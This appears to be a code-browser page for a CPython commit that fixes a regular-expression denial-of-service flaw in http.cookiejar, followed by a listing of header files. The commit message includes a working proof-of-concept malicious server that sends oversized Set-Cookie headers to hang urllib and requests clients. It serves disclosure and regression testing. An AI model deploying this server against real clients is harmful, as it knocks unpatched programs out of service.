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v0.8.1
v0.8.1
https://github.com/python/cpython
Revision 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC, committed by GitHub on 03 April 2020, 01:37:32 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent ed07522
Tip revision: 55a6a16a46239a71b635584e532feb8b17ae7fdf authored by Victor Stinner on 03 April 2020, 01:37:32 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
Tip revision: 55a6a16
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Python-ast.h | -rw-r--r-- | 20.4 KB |
Python.h | -rw-r--r-- | 2.8 KB |
abstract.h | -rw-r--r-- | 42.8 KB |
accu.h | -rw-r--r-- | 1016 bytes |
asdl.h | -rw-r--r-- | 1.2 KB |
ast.h | -rw-r--r-- | 477 bytes |
bitset.h | -rw-r--r-- | 792 bytes |
bltinmodule.h | -rw-r--r-- | 264 bytes |
boolobject.h | -rw-r--r-- | 886 bytes |
bytearrayobject.h | -rw-r--r-- | 2.1 KB |
bytes_methods.h | -rw-r--r-- | 2.0 KB |
bytesobject.h | -rw-r--r-- | 4.9 KB |
cellobject.h | -rw-r--r-- | 701 bytes |
ceval.h | -rw-r--r-- | 7.5 KB |
classobject.h | -rw-r--r-- | 1.6 KB |
code.h | -rw-r--r-- | 5.1 KB |
codecs.h | -rw-r--r-- | 6.5 KB |
compile.h | -rw-r--r-- | 2.1 KB |
complexobject.h | -rw-r--r-- | 1.8 KB |
datetime.h | -rw-r--r-- | 8.3 KB |
descrobject.h | -rw-r--r-- | 2.8 KB |
dictobject.h | -rw-r--r-- | 6.2 KB |
dtoa.h | -rw-r--r-- | 458 bytes |
dynamic_annotations.h | -rw-r--r-- | 21.9 KB |
enumobject.h | -rw-r--r-- | 253 bytes |
errcode.h | -rw-r--r-- | 1.5 KB |
eval.h | -rw-r--r-- | 597 bytes |
fileobject.h | -rw-r--r-- | 1.5 KB |
fileutils.h | -rw-r--r-- | 2.8 KB |
floatobject.h | -rw-r--r-- | 4.5 KB |
frameobject.h | -rw-r--r-- | 3.4 KB |
funcobject.h | -rw-r--r-- | 3.7 KB |
genobject.h | -rw-r--r-- | 2.6 KB |
graminit.h | -rw-r--r-- | 1.9 KB |
grammar.h | -rw-r--r-- | 2.0 KB |
import.h | -rw-r--r-- | 3.8 KB |
intrcheck.h | -rw-r--r-- | 460 bytes |
iterobject.h | -rw-r--r-- | 567 bytes |
listobject.h | -rw-r--r-- | 2.8 KB |
longintrepr.h | -rw-r--r-- | 3.9 KB |
longobject.h | -rw-r--r-- | 8.1 KB |
marshal.h | -rw-r--r-- | 803 bytes |
memoryobject.h | -rw-r--r-- | 2.6 KB |
metagrammar.h | -rw-r--r-- | 253 bytes |
methodobject.h | -rw-r--r-- | 3.3 KB |
modsupport.h | -rw-r--r-- | 5.9 KB |
moduleobject.h | -rw-r--r-- | 2.1 KB |
namespaceobject.h | -rw-r--r-- | 297 bytes |
node.h | -rw-r--r-- | 1007 bytes |
object.h | -rw-r--r-- | 39.1 KB |
objimpl.h | -rw-r--r-- | 13.6 KB |
odictobject.h | -rw-r--r-- | 1.3 KB |
opcode.h | -rw-r--r-- | 4.8 KB |
osdefs.h | -rw-r--r-- | 691 bytes |
parsetok.h | -rw-r--r-- | 2.8 KB |
patchlevel.h | -rw-r--r-- | 1.1 KB |
pgen.h | -rw-r--r-- | 253 bytes |
pgenheaders.h | -rw-r--r-- | 1.1 KB |
py_curses.h | -rw-r--r-- | 4.1 KB |
pyarena.h | -rw-r--r-- | 2.7 KB |
pyatomic.h | -rw-r--r-- | 7.9 KB |
pycapsule.h | -rw-r--r-- | 1.7 KB |
pyctype.h | -rw-r--r-- | 1.3 KB |
pydebug.h | -rw-r--r-- | 1.1 KB |
pyerrors.h | -rw-r--r-- | 15.9 KB |
pyexpat.h | -rw-r--r-- | 2.4 KB |
pyfpe.h | -rw-r--r-- | 8.3 KB |
pygetopt.h | -rw-r--r-- | 388 bytes |
pyhash.h | -rw-r--r-- | 4.2 KB |
pylifecycle.h | -rw-r--r-- | 3.7 KB |
pymacconfig.h | -rw-r--r-- | 2.9 KB |
pymacro.h | -rw-r--r-- | 3.2 KB |
pymath.h | -rw-r--r-- | 7.0 KB |
pymem.h | -rw-r--r-- | 6.9 KB |
pyport.h | -rw-r--r-- | 31.3 KB |
pystate.h | -rw-r--r-- | 9.3 KB |
pystrcmp.h | -rw-r--r-- | 436 bytes |
pystrhex.h | -rw-r--r-- | 443 bytes |
pystrtod.h | -rw-r--r-- | 1.2 KB |
pythonrun.h | -rw-r--r-- | 6.5 KB |
pythread.h | -rw-r--r-- | 3.0 KB |
pytime.h | -rw-r--r-- | 6.5 KB |
rangeobject.h | -rw-r--r-- | 629 bytes |
setobject.h | -rw-r--r-- | 3.2 KB |
sliceobject.h | -rw-r--r-- | 2.4 KB |
structmember.h | -rw-r--r-- | 2.0 KB |
structseq.h | -rw-r--r-- | 1.3 KB |
symtable.h | -rw-r--r-- | 4.7 KB |
sysmodule.h | -rw-r--r-- | 1.3 KB |
token.h | -rw-r--r-- | 1.9 KB |
traceback.h | -rw-r--r-- | 2.2 KB |
tupleobject.h | -rw-r--r-- | 2.4 KB |
typeslots.h | -rw-r--r-- | 2.2 KB |
ucnhash.h | -rw-r--r-- | 1.0 KB |
unicodeobject.h | -rw-r--r-- | 77.3 KB |
warnings.h | -rw-r--r-- | 1.4 KB |
weakrefobject.h | -rw-r--r-- | 2.8 KB |
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